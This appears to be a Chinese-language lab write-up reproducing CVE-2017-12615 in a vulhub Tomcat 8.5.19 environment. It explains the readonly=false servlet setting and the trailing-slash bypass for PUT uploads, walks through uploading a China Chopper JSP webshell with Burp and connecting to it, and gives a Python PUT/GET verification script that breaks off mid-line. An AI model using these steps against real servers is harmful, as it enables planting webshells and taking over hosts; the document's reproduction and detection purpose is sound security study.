CVE-2017-12615漏洞复现
环境搭建地址:https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615
Tomcat版本:8.5.19
漏洞原理:
tomcat的配置具有可写权限,因此可以利用put方法上传任意文件。但是tomcat对上传的文件尾部有检测,所以可以用/来绕过,如 /shell.jsp/
源码内容:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
readonely设置为了false,说明可以写文件
- 提交数据包,burp查看内容
- 在repter模块对提交的数据进行更改,上传菜刀的jsp一句话木马
3. 菜刀连接
连接成功
参考链接:https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615/README.zh-cn.md
关于此漏洞poc的编写,–verify模式
- 首先要掌握request模块put方法的使用
验证模块的思路:
- 先用put方法提交一个.txt的文件
- 然后用get方法访问这个新的url,读取网页内容,如果状态码为200且写入的txt文本在网页内,说明存在漏洞
下边是本地windows测试put方法的脚本
import requests
url = 'http://192.168.0.104:8080/'
data = "hello world"
new_url = url + "tcc.txt"
res = requests.put(url=new_url,data=data)
respone = requests.get(url=new_url)
print(respone.url)
print(respone.status_code)
if respone.status_code == 200 and "hello world" in respone.text: